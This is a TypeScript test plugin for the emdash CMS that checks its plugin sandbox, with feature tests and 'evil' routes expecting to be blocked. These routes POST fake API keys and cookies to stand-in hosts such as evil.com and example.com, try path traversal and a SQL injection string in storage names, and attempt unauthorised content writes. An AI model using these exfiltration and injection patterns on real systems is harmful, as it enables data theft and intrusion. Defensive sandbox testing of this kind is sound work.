/** * Sandbox Entry Point * * Canonical plugin implementation using the standard format. * Runs in both trusted (in-process) and sandboxed (isolate) modes. */ import { definePlugin } from "emdash"; import type { PluginContext } from "emdash"; interface HookEvent { content?: Record; collection?: string; isNew?: boolean; } /** Narrow unknown to a record */ function isRecord(value: unknown): value is Record { return typeof value === "object" && value !== null && !Array.isArray(value); } /** Safely extract a string property from an unknown value */ function getString(value: unknown, key: string): string | undefined { if (!isRecord(value)) return undefined; const v = value[key]; return typeof v === "string" ? v : undefined; } // ── Plugin definition ── export default definePlugin({ hooks: { "content:beforeSave": { handler: async (event: HookEvent, ctx: PluginContext) => { ctx.log.info("[sandboxed-test] beforeSave hook fired", { collection: event.collection, isNew: event.isNew, }); // Store hook execution in KV (proves the hook ran) await ctx.kv.set(`beforeSave:${Date.now()}`, { collection: event.collection, isNew: event.isNew, processedAt: new Date().toISOString(), }); // Return content unchanged - just demonstrating the hook works return event.content; }, }, "content:afterSave": { handler: async (event: HookEvent, ctx: PluginContext) => { ctx.log.info("[sandboxed-test] afterSave hook fired", { collection: event.collection, isNew: event.isNew, }); // Log to storage await ctx.storage.events.put(`save-${Date.now()}`, { timestamp: new Date().toISOString(), type: "content:afterSave", message: `Content saved in ${event.collection}`, }); }, }, }, routes: { admin: { handler: async (routeCtx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => { const interaction = routeCtx.input as { type: string; page?: string; action_id?: string; value?: string; }; if (interaction.type === "page_load" && interaction.page === "widget:sandbox-status") { return buildStatusWidget(); } if (interaction.type === "page_load" && interaction.page === "/sandbox") { return buildTestPage(); } if ( interaction.type === "block_action" && interaction.action_id === "run_all_enforcement" ) { return runAllEnforcementAdmin(pluginCtx); } if (interaction.type === "block_action" && interaction.action_id === "run_all_features") { return runAllFeaturesAdmin(pluginCtx); } // Individual test runs: action_id = "run_test_{id}" if (interaction.type === "block_action" && interaction.action_id?.startsWith("run_test_")) { const testId = interaction.action_id.slice("run_test_".length); return runSingleTestAdmin(pluginCtx, testId); } return { blocks: [] }; }, }, ping: { handler: async (_ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => { return { pong: true, pluginId: pluginCtx.plugin.id, timestamp: Date.now(), }; }, }, // Debug route to test http capability "debug/http": { handler: async (_ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => { const hasHttp = !!pluginCtx.http; if (!hasHttp) { return { hasHttp: false, error: "http not available on context" }; } try { const result = await pluginCtx.http.fetch("https://httpbin.org/get"); return { hasHttp: true, status: result.status, ok: result.ok, }; } catch (e) { return { hasHttp: true, error: e instanceof Error ? e.message : String(e), }; } }, }, "kv/test": { handler: async (_ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => { const testKey = "sandbox-test-key"; await pluginCtx.kv.set(testKey, { tested: true, time: Date.now() }); const value = await pluginCtx.kv.get(testKey); await pluginCtx.kv.delete(testKey); return { key: testKey, value, cleaned: true }; }, }, "storage/test": { handler: async (_ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => { const eventId = `event-${Date.now()}`; await pluginCtx.storage.events.put(eventId, { timestamp: new Date().toISOString(), type: "test", message: "Sandboxed plugin storage test", }); const event = await pluginCtx.storage.events.get(eventId); const count = await pluginCtx.storage.events.count(); return { eventId, event, totalEvents: count }; }, }, "content/list": { handler: async (ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => { if (!pluginCtx.content) { return { error: "content access not available" }; } const collection = getString(ctx.input, "collection") ?? "posts"; const result = await pluginCtx.content.list(collection, { limit: 5 }); return { collection, count: result.items.length, items: result.items.map((item: unknown) => { if (!isRecord(item)) return { id: "unknown", slug: undefined }; return { id: typeof item.id === "string" ? item.id : "unknown", slug: typeof item.slug === "string" ? item.slug : undefined, }; }), }; }, }, "http/test": { handler: async (_ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => { if (!pluginCtx.http) { return { error: "http access not available" }; } try { const response = await pluginCtx.http.fetch("https://httpbin.org/get"); const data: unknown = await response.json(); const origin = isRecord(data) && typeof data.origin === "string" ? data.origin : undefined; return { status: response.status, ok: response.ok, origin, }; } catch (error) { return { error: error instanceof Error ? error.message : String(error), }; } }, }, // ========================================================================= // Sandbox Enforcement Tests // These routes test that security boundaries are properly enforced // ========================================================================= "enforce/blocked-host": { handler: async (_ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => { // This plugin only has httpbin.org in allowedHosts // Attempting to fetch evil.com should fail if (!pluginCtx.http) { return { error: "http access not available", passed: false }; } try { await pluginCtx.http.fetch("https://evil.com/steal-data"); return { passed: false, error: "SECURITY VIOLATION: fetch to blocked host succeeded!", }; } catch (error) { const msg = error instanceof Error ? error.message : String(error); // Should contain "not allowed" or similar const blocked = msg.includes("not allowed") || msg.includes("Host"); return { passed: blocked, error: blocked ? null : msg, message: blocked ? "Correctly blocked fetch to non-allowed host" : "Fetch failed but for wrong reason", }; } }, }, "enforce/kv-isolation": { handler: async (ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => { // Test that this plugin can't see another plugin's KV data // We write a unique key and verify we can only see our own const ourKey = `isolation-test-${Date.now()}`; const ourValue = { from: "sandboxed-test", time: Date.now() }; // Write our key await pluginCtx.kv.set(ourKey, ourValue); // Read it back const readBack = await pluginCtx.kv.get(ourKey); // Try to read a key that might belong to another plugin // (This should return null because KV is namespaced) const otherKey = getString(ctx.input, "otherPluginKey") ?? "api-test:some-key"; const otherValue = await pluginCtx.kv.get(otherKey); // Clean up await pluginCtx.kv.delete(ourKey); return { passed: readBack !== null && otherValue === null, ourKey, ourValueWritten: ourValue, ourValueRead: readBack, otherKey, otherValueRead: otherValue, message: otherValue === null ? "Correctly isolated - cannot see other plugin's KV" : "SECURITY VIOLATION: Can see other plugin's KV data!", }; }, }, "enforce/storage-isolation": { handler: async (_ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => { // Test that we can only USE declared storage collections // The 'events' collection is declared, but 'secrets' is not // Note: The Proxy creates accessors for any name, but bridge enforces on actual use const results: { declaredWorks: boolean; undeclaredBlocked: boolean; passed: boolean; message: string; error?: string; } = { declaredWorks: false, undeclaredBlocked: false, passed: false, message: "", }; // Test declared collection (events) - should work try { const testId = `enforce-test-${Date.now()}`; await pluginCtx.storage.events.put(testId, { test: true }); const retrieved = await pluginCtx.storage.events.get(testId); await pluginCtx.storage.events.delete(testId); results.declaredWorks = retrieved !== null; } catch (e) { results.declaredWorks = false; results.error = `Declared collection failed: ${e instanceof Error ? e.message : String(e)}`; } // Test undeclared collection (secrets) - should be blocked by bridge try { await pluginCtx.storage.secrets.put("test", { secret: "data" }); // If we get here, enforcement failed results.undeclaredBlocked = false; } catch (e) { const msg = e instanceof Error ? e.message : String(e); // Should get "Storage collection not declared" error results.undeclaredBlocked = msg.includes("not declared"); if (!results.undeclaredBlocked) { results.error = `Undeclared rejected but wrong reason: ${msg}`; } } results.passed = results.declaredWorks && results.undeclaredBlocked; results.message = results.passed ? "Correctly enforced - undeclared collection blocked by bridge" : results.declaredWorks ? "FAIL: Undeclared collection was accessible" : "FAIL: Declared collection didn't work"; return results; }, }, "enforce/no-direct-db": { handler: async (_ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => { // Verify we can't access raw database // In the sandbox, there should be no 'db' on the context const hasDb = "db" in pluginCtx; const hasEnv = "env" in pluginCtx; const hasProcess = typeof process !== "undefined"; return { passed: !hasDb && !hasEnv, hasDb, hasEnv, hasProcess, message: !hasDb && !hasEnv ? "Correctly sandboxed - no direct DB or env access" : "SECURITY VIOLATION: Direct access to internals available!", }; }, }, "enforce/globals-blocked": { handler: async (_ctx: { input: unknown; request: unknown }, _pluginCtx: PluginContext) => { // Test that dangerous globals are blocked or restricted const results: Record = {}; // Check for eval (should be blocked or restricted) try { // eslint-disable-next-line no-eval const evalResult = eval("1 + 1"); results.eval = { available: true, result: evalResult }; } catch (e) { results.eval = { available: false, error: e instanceof Error ? e.message : String(e), }; } // Check for Function constructor (code generation) try { // eslint-disable-next-line no-implied-eval const fn = new Function("return 42"); results.functionConstructor = { available: true, result: fn() }; } catch (e) { results.functionConstructor = { available: false, error: e instanceof Error ? e.message : String(e), }; } // Note: In Workers, eval and Function are allowed but sandboxed // The real protection is that plugins can't escape their isolate return { results, message: "Globals check complete - review results for security posture", }; }, }, // ========================================================================= // Adversarial Tests - Try to break out of sandbox // ========================================================================= "evil/exfil-to-attacker": { handler: async (_ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => { // Try to exfiltrate data to non-allowed domains // Note: This plugin only allows httpbin.org const sensitiveData = { stolen: "secret-api-key-12345", cookies: "session=abc123", }; // These are all NOT in our allowedHosts (only httpbin.org is allowed) // Using reserved/safe domains that won't cause real requests const exfilTargets = [ "https://example.com/collect", // IANA reserved for docs "https://example.org/exfil", // IANA reserved for docs "https://test.invalid/steal", // .invalid TLD never resolves "https://jsonplaceholder.typicode.com/posts", // real API but not allowed ]; const results: Record = {}; for (const target of exfilTargets) { try { if (!pluginCtx.http) { results[target] = { blocked: true, error: "No HTTP access" }; continue; } await pluginCtx.http.fetch(target, { method: "POST", body: JSON.stringify(sensitiveData), }); results[target] = { blocked: false, error: "EXFIL SUCCEEDED!" }; } catch (e) { results[target] = { blocked: true, error: e instanceof Error ? e.message : String(e), }; } } const allBlocked = Object.values(results).every((r) => r.blocked); return { passed: allBlocked, message: allBlocked ? "All exfiltration attempts blocked" : "SECURITY VIOLATION: Some exfil attempts succeeded!", results, }; }, }, "evil/steal-other-plugin-kv": { handler: async (_ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => { // Try to steal KV data from other plugins by guessing key patterns const targetKeys = [ "api-test:settings", // another plugin's likely key "plugin:api-test:config", "../api-test/secret", // path traversal attempt "state:installed", // api-test plugin uses this "admin-test", // api-test writes this in tests ]; const results: Record = {}; for (const key of targetKeys) { try { const value = await pluginCtx.kv.get(key); results[key] = { found: value !== null, value }; } catch { results[key] = { found: false }; } } const anyFound = Object.values(results).some((r) => r.found); return { passed: !anyFound, message: anyFound ? "SECURITY VIOLATION: Accessed other plugin's KV data!" : "Correctly isolated - cannot access other plugins' KV", results, }; }, }, "evil/steal-other-plugin-storage": { handler: async (_ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => { // Try to access storage collections from other plugins const results: Record = {}; // Try to access api-test plugin's 'logs' collection try { const data = await pluginCtx.storage.logs.query({ limit: 5 }); // 'logs' is declared by api-test, not sandboxed-test // But sandboxed-test declares 'events', so this tests cross-collection results["logs (api-test)"] = { accessible: true, data, }; } catch (e) { results["logs (api-test)"] = { accessible: false, error: e instanceof Error ? e.message : String(e), }; } // Try path traversal in collection name try { const data = await pluginCtx.storage["../api-test/logs"].get("test"); results["path-traversal"] = { accessible: true, data }; } catch (e) { results["path-traversal"] = { accessible: false, error: e instanceof Error ? e.message : String(e), }; } // Try SQL injection in collection name try { const data = await pluginCtx.storage["events'; DROP TABLE users;--"].get("test"); results["sql-injection"] = { accessible: true, data }; } catch (e) { results["sql-injection"] = { accessible: false, error: e instanceof Error ? e.message : String(e), }; } const anyAccessible = Object.values(results).some((r) => r.accessible); return { passed: !anyAccessible, message: anyAccessible ? "SECURITY VIOLATION: Accessed unauthorized storage!" : "Correctly blocked unauthorized storage access", results, }; }, }, "evil/access-raw-db": { handler: async (_ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => { // Try to access raw database through various means const results: Record = {}; // Check if db is exposed on context — use Object.keys to probe without casts const ctxKeys = Object.keys(pluginCtx); const hasDbOnCtx = ctxKeys.includes("db"); const hasEnvOnCtx = ctxKeys.includes("env"); results["ctx.db"] = { found: hasDbOnCtx }; results["ctx.env"] = { found: hasEnvOnCtx }; // For nested env.DB, use the record-based approach const envValue = hasEnvOnCtx ? Object.getOwnPropertyDescriptor(pluginCtx, "env")?.value : undefined; results["ctx.env.DB"] = { found: isRecord(envValue) && "DB" in envValue, }; // Try to access via globalThis const globalKeys = Object.keys(globalThis); results["globalThis.db"] = { found: globalKeys.includes("db"), }; results["globalThis.env"] = { found: globalKeys.includes("env"), }; // Try to access via prototype pollution try { const proto = Object.getPrototypeOf(pluginCtx); results["prototype.db"] = { found: proto && "db" in proto, value: proto?.db, }; } catch { results["prototype.db"] = { found: false }; } const anyFound = Object.values(results).some((r) => r.found && r.value); return { passed: !anyFound, message: anyFound ? "SECURITY VIOLATION: Found raw DB access!" : "No raw DB access available", results, }; }, }, "evil/escalate-capabilities": { handler: async (_ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => { // Try to perform actions beyond declared capabilities // This plugin has read:content but NOT write:content // The bridge should reject any write attempts const results: Record = {}; // Probe for write methods via Reflect.get (avoids type casts) const contentObj = pluginCtx.content; async function tryMethod( name: string, args: unknown[], ): Promise<{ blocked: boolean; error?: string; data?: unknown }> { if (!contentObj) return { blocked: true, error: "No content access" }; const method = Reflect.get(contentObj, name); if (typeof method !== "function") { return { blocked: true, error: "Method not exposed (also valid)" }; } try { const result = await Reflect.apply(method, contentObj, args); return { blocked: false, data: result, error: `${name.toUpperCase()}D CONTENT WITHOUT PERMISSION!`, }; } catch (e) { const msg = e instanceof Error ? e.message : String(e); const properlyBlocked = msg.includes("capability") || msg.includes("not implemented"); return { blocked: properlyBlocked, error: msg }; } } results["content.create"] = await tryMethod("create", [ "posts", { title: "HACKED!", slug: "hacked-" + Date.now() }, ]); results["content.update"] = await tryMethod("update", [ "posts", "some-id", { title: "HACKED UPDATE!" }, ]); results["content.delete"] = await tryMethod("delete", ["posts", "some-id"]); const anyEscalated = Object.values(results).some((r) => !r.blocked); return { passed: !anyEscalated, message: anyEscalated ? "SECURITY VIOLATION: Capability escalation succeeded!" : "Capability restrictions enforced by bridge", results, }; }, }, "evil/run-all": { handler: async (ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => { // Run all evil tests const tests: Record = {}; // 1. Exfiltration test - try non-allowed host if (pluginCtx.http) { try { await pluginCtx.http.fetch("https://example.com/exfil", { method: "POST", body: JSON.stringify({ stolen: "data" }), }); tests.exfiltration = { passed: false, message: "FAIL: Exfiltration succeeded!", }; } catch (e) { tests.exfiltration = { passed: true, message: "PASS: Exfiltration blocked", details: e instanceof Error ? e.message : String(e), }; } } else { tests.exfiltration = { passed: true, message: "PASS: No HTTP access" }; } // 2. Cross-plugin KV access const otherPluginValue = await pluginCtx.kv.get("api-test:secret"); tests.kvIsolation = { passed: otherPluginValue === null, message: otherPluginValue === null ? "PASS: Cannot access other plugin KV" : "FAIL: Accessed other plugin KV!", }; // 3. Undeclared storage try { await pluginCtx.storage.logs.get("test"); // 'logs' is api-test's collection tests.storageIsolation = { passed: false, message: "FAIL: Accessed undeclared collection!", }; } catch (e) { const msg = e instanceof Error ? e.message : String(e); tests.storageIsolation = { passed: msg.includes("not declared"), message: msg.includes("not declared") ? "PASS: Undeclared storage blocked" : `FAIL: Wrong error: ${msg}`, }; } // 4. Raw DB access — use Object.keys to probe without casts const runAllKeys = Object.keys(pluginCtx); const hasRawAccess = runAllKeys.includes("db") || runAllKeys.includes("env"); tests.rawDbAccess = { passed: !hasRawAccess, message: hasRawAccess ? "FAIL: Has raw DB access!" : "PASS: No raw DB access", }; // 5. Capability escalation (write without permission) // Actually try to call create - bridge should reject const createFn = pluginCtx.content ? Reflect.get(pluginCtx.content, "create") : undefined; if (typeof createFn === "function") { try { await Reflect.apply(createFn, pluginCtx.content, [ "posts", { title: "EVIL", slug: "evil-" + Date.now() }, ]); tests.capabilityEscalation = { passed: false, message: "FAIL: Created content without write:content capability!", }; } catch (e) { const msg = e instanceof Error ? e.message : String(e); // Bridge should reject with "Missing capability" or "not implemented" const properlyBlocked = msg.includes("capability") || msg.includes("not implemented"); tests.capabilityEscalation = { passed: properlyBlocked, message: properlyBlocked ? "PASS: Bridge rejected unauthorized write" : `FAIL: Wrong rejection reason: ${msg}`, details: msg, }; } } else { tests.capabilityEscalation = { passed: true, message: "PASS: Write methods not exposed", }; } const allPassed = Object.values(tests).every((t) => t.passed); return { allPassed, summary: `${Object.values(tests).filter((t) => t.passed).length}/${Object.keys(tests).length} security tests passed`, tests, }; }, }, "enforce/run-all": { handler: async (ctx: { input: unknown; request: unknown }, pluginCtx: PluginContext) => { // Run all enforcement tests and return summary const tests: Record = {}; // 1. Blocked host test if (pluginCtx.http) { try { await pluginCtx.http.fetch("https://evil.com/test"); tests.blockedHost = { passed: false, message: "FAIL: Blocked host was accessible", }; } catch (e) { const msg = e instanceof Error ? e.message : String(e); tests.blockedHost = { passed: msg.includes("not allowed") || msg.includes("Host"), message: "PASS: Blocked host correctly rejected", details: msg, }; } } else { tests.blockedHost = { passed: true, message: "SKIP: No HTTP access (also valid)", }; } // 2. KV isolation test const testKey = `enforce-${Date.now()}`; await pluginCtx.kv.set(testKey, "test"); const canReadOwn = (await pluginCtx.kv.get(testKey)) !== null; const cantReadOther = (await pluginCtx.kv.get("api-test:internal")) === null; await pluginCtx.kv.delete(testKey); tests.kvIsolation = { passed: canReadOwn && cantReadOther, message: canReadOwn && cantReadOther ? "PASS: KV properly isolated" : "FAIL: KV isolation broken", }; // 3. Storage collection enforcement // Test storage enforcement by actually trying to use collections let storageOk = false; let storageBlocked = false; try { // Declared collection should work const testId = `enforce-${Date.now()}`; await pluginCtx.storage.events.put(testId, { x: 1 }); await pluginCtx.storage.events.delete(testId); storageOk = true; } catch { storageOk = false; } try { // Undeclared collection should be blocked await pluginCtx.storage.secrets.get("test"); storageBlocked = false; // If we get here, it wasn't blocked } catch (e) { const msg = e instanceof Error ? e.message : String(e); storageBlocked = msg.includes("not declared"); } tests.storageEnforcement = { passed: storageOk && storageBlocked, message: storageOk && storageBlocked ? "PASS: Storage collections enforced" : "FAIL: Storage enforcement broken", }; // 4. No direct access — use Object.keys to probe without casts const enforceKeys = Object.keys(pluginCtx); const noDb = !enforceKeys.includes("db"); const noEnv = !enforceKeys.includes("env"); tests.noDirectAccess = { passed: noDb && noEnv, message: noDb && noEnv ? "PASS: No direct DB/env access" : "FAIL: Direct access available", }; // Summary const allPassed = Object.values(tests).every((t) => t.passed); const passCount = Object.values(tests).filter((t) => t.passed).length; return { allPassed, summary: `${passCount}/${Object.keys(tests).length} tests passed`, tests, }; }, }, }, }); // ── Block Kit admin helpers ── interface TestResult { passed: boolean; message: string; details?: string; } const ENFORCEMENT_TESTS = [ { id: "blocked-host", name: "Blocked Host", description: "Verify fetch to non-allowed hosts is blocked", }, { id: "kv-isolation", name: "KV Isolation", description: "Verify plugins can only see their own KV data", }, { id: "storage-isolation", name: "Storage Enforcement", description: "Verify undeclared storage collections are blocked", }, { id: "no-direct-access", name: "No Direct Access", description: "Verify no direct access to DB or env internals", }, { id: "globals-blocked", name: "Globals Check", description: "Check if dangerous globals (eval, Function) are blocked", }, ]; const FEATURE_TESTS = [ { id: "ping", name: "Ping", description: "Basic connectivity test" }, { id: "kv-test", name: "KV Operations", description: "Test KV get/set/delete" }, { id: "storage-test", name: "Storage Operations", description: "Test storage put/get/count", }, { id: "content-list", name: "Content Access", description: "Test content listing via bridge", }, { id: "http-test", name: "HTTP Fetch", description: "Test fetch to allowed host", }, ]; function buildStatusWidget() { return { blocks: [ { type: "fields", fields: [ { label: "Enforcement", value: "Ready" }, { label: "Features", value: "Ready" }, ], }, { type: "actions", elements: [ { type: "button", text: "Run All Tests", action_id: "run_all_enforcement", style: "primary", }, ], }, ], }; } function buildTestPage() { const enforcementRows = ENFORCEMENT_TESTS.map((t) => ({ type: "section", text: `**${t.name}** -- ${t.description}`, accessory: { type: "button", text: "Run", action_id: `run_test_${t.id}`, }, })); const featureRows = FEATURE_TESTS.map((t) => ({ type: "section", text: `**${t.name}** -- ${t.description}`, accessory: { type: "button", text: "Run", action_id: `run_test_${t.id}`, }, })); return { blocks: [ { type: "header", text: "Sandbox Tests" }, { type: "context", text: "Test sandbox enforcement and feature access.", }, { type: "divider" }, { type: "section", text: "**Enforcement Suite**", accessory: { type: "button", text: "Run All", action_id: "run_all_enforcement", style: "primary", }, }, { type: "context", text: "Security boundary tests -- all should pass." }, ...enforcementRows, { type: "divider" }, { type: "section", text: "**Feature Tests**", accessory: { type: "button", text: "Run All", action_id: "run_all_features", style: "primary", }, }, { type: "context", text: "Capability and API access tests." }, ...featureRows, ], }; } // ── Inline test runners (same logic as the route handlers) ── async function runEnforcementBlockedHost(ctx: PluginContext): Promise { if (!ctx.http) { return { passed: true, message: "No HTTP access (also valid)" }; } try { await ctx.http.fetch("https://evil.com/test"); return { passed: false, message: "Blocked host was accessible" }; } catch (e) { const msg = e instanceof Error ? e.message : String(e); const blocked = msg.includes("not allowed") || msg.includes("Host"); return { passed: blocked, message: blocked ? "Correctly blocked fetch to non-allowed host" : `Fetch failed for wrong reason: ${msg}`, }; } } async function runEnforcementKvIsolation(ctx: PluginContext): Promise { const testKey = `enforce-${Date.now()}`; await ctx.kv.set(testKey, "test"); const canReadOwn = (await ctx.kv.get(testKey)) !== null; const cantReadOther = (await ctx.kv.get("api-test:internal")) === null; await ctx.kv.delete(testKey); return { passed: canReadOwn && cantReadOther, message: canReadOwn && cantReadOther ? "KV properly isolated" : "KV isolation broken", }; } async function runEnforcementStorageIsolation(ctx: PluginContext): Promise { let storageOk = false; let storageBlocked = false; try { const testId = `enforce-${Date.now()}`; await ctx.storage.events.put(testId, { x: 1 }); await ctx.storage.events.delete(testId); storageOk = true; } catch { storageOk = false; } try { await ctx.storage.secrets.get("test"); storageBlocked = false; } catch (e) { const msg = e instanceof Error ? e.message : String(e); storageBlocked = msg.includes("not declared"); } return { passed: storageOk && storageBlocked, message: storageOk && storageBlocked ? "Storage collections enforced" : storageOk ? "Undeclared collection was accessible" : "Declared collection didn't work", }; } async function runEnforcementNoDirectAccess(ctx: PluginContext): Promise { const keys = Object.keys(ctx); const noDb = !keys.includes("db"); const noEnv = !keys.includes("env"); return { passed: noDb && noEnv, message: noDb && noEnv ? "No direct DB/env access" : "Direct access to internals available", }; } async function runEnforcementGlobalsBlocked(): Promise { const results: string[] = []; try { // eslint-disable-next-line no-eval eval("1+1"); results.push("eval: available"); } catch { results.push("eval: blocked"); } try { // eslint-disable-next-line no-implied-eval new Function("return 42")(); results.push("Function: available"); } catch { results.push("Function: blocked"); } return { passed: true, message: "Globals check complete", details: results.join(", "), }; } // ── Feature test runners ── async function runFeaturePing(ctx: PluginContext): Promise { return { passed: true, message: `Pong from ${ctx.plugin.id}`, }; } async function runFeatureKv(ctx: PluginContext): Promise { const testKey = "admin-kv-test"; await ctx.kv.set(testKey, { tested: true, time: Date.now() }); const value = await ctx.kv.get(testKey); await ctx.kv.delete(testKey); return { passed: value !== null, message: value !== null ? "KV get/set/delete OK" : "KV operations failed", }; } async function runFeatureStorage(ctx: PluginContext): Promise { const eventId = `admin-test-${Date.now()}`; await ctx.storage.events.put(eventId, { timestamp: new Date().toISOString(), type: "test", message: "Admin feature test", }); const event = await ctx.storage.events.get(eventId); const count = await ctx.storage.events.count(); return { passed: event !== null, message: `Storage OK -- ${count} total events`, }; } async function runFeatureContent(ctx: PluginContext): Promise { if (!ctx.content) { return { passed: false, message: "Content access not available" }; } try { const result = await ctx.content.list("posts", { limit: 5 }); return { passed: true, message: `Listed ${result.items.length} items from posts`, }; } catch (e) { return { passed: false, message: e instanceof Error ? e.message : String(e), }; } } async function runFeatureHttp(ctx: PluginContext): Promise { if (!ctx.http) { return { passed: false, message: "HTTP access not available" }; } try { const response = await ctx.http.fetch("https://httpbin.org/get"); return { passed: response.ok, message: `HTTP ${response.status} from httpbin.org`, }; } catch (e) { return { passed: false, message: e instanceof Error ? e.message : String(e), }; } } // ── Dispatch maps ── const enforcementRunners: Record Promise> = { "blocked-host": runEnforcementBlockedHost, "kv-isolation": runEnforcementKvIsolation, "storage-isolation": runEnforcementStorageIsolation, "no-direct-access": runEnforcementNoDirectAccess, "globals-blocked": runEnforcementGlobalsBlocked, }; const featureRunners: Record Promise> = { ping: runFeaturePing, "kv-test": runFeatureKv, "storage-test": runFeatureStorage, "content-list": runFeatureContent, "http-test": runFeatureHttp, }; async function runAllEnforcementAdmin(ctx: PluginContext) { const results: Record = {}; for (const test of ENFORCEMENT_TESTS) { const runner = enforcementRunners[test.id]; if (runner) { try { results[test.id] = await runner(ctx); } catch (e) { results[test.id] = { passed: false, message: e instanceof Error ? e.message : String(e), }; } } } const allPassed = Object.values(results).every((r) => r.passed); const passCount = Object.values(results).filter((r) => r.passed).length; const total = Object.keys(results).length; return { blocks: [ { type: "header", text: "Enforcement Results" }, { type: "banner", style: allPassed ? "success" : "error", text: `${passCount}/${total} tests passed`, }, { type: "fields", fields: Object.entries(results).map(([id, r]) => ({ label: `${r.passed ? "PASS" : "FAIL"} ${id}`, value: r.message + (r.details ? ` (${r.details})` : ""), })), }, ], toast: { message: allPassed ? "All enforcement tests passed" : `${total - passCount} test(s) failed`, type: allPassed ? "success" : "error", }, }; } async function runAllFeaturesAdmin(ctx: PluginContext) { const results: Record = {}; for (const test of FEATURE_TESTS) { const runner = featureRunners[test.id]; if (runner) { try { results[test.id] = await runner(ctx); } catch (e) { results[test.id] = { passed: false, message: e instanceof Error ? e.message : String(e), }; } } } const allPassed = Object.values(results).every((r) => r.passed); const passCount = Object.values(results).filter((r) => r.passed).length; const total = Object.keys(results).length; return { blocks: [ { type: "header", text: "Feature Test Results" }, { type: "banner", style: allPassed ? "success" : "error", text: `${passCount}/${total} tests passed`, }, { type: "fields", fields: Object.entries(results).map(([id, r]) => ({ label: `${r.passed ? "PASS" : "FAIL"} ${id}`, value: r.message, })), }, ], toast: { message: allPassed ? "All feature tests passed" : `${total - passCount} test(s) failed`, type: allPassed ? "success" : "error", }, }; } async function runSingleTestAdmin(ctx: PluginContext, testId: string) { const runner = enforcementRunners[testId] ?? featureRunners[testId]; if (!runner) { return { blocks: [{ type: "banner", style: "error", text: `Unknown test: ${testId}` }], toast: { message: `Unknown test: ${testId}`, type: "error" }, }; } try { const result = await runner(ctx); return { blocks: [ { type: "banner", style: result.passed ? "success" : "error", text: `${result.passed ? "PASS" : "FAIL"}: ${result.message}`, }, ...(result.details ? [{ type: "code", code: result.details, language: "json" }] : []), ], toast: { message: `${testId}: ${result.passed ? "passed" : "failed"}`, type: result.passed ? "success" : "error", }, }; } catch (e) { const msg = e instanceof Error ? e.message : String(e); return { blocks: [{ type: "banner", style: "error", text: `Error: ${msg}` }], toast: { message: `${testId} errored`, type: "error" }, }; } }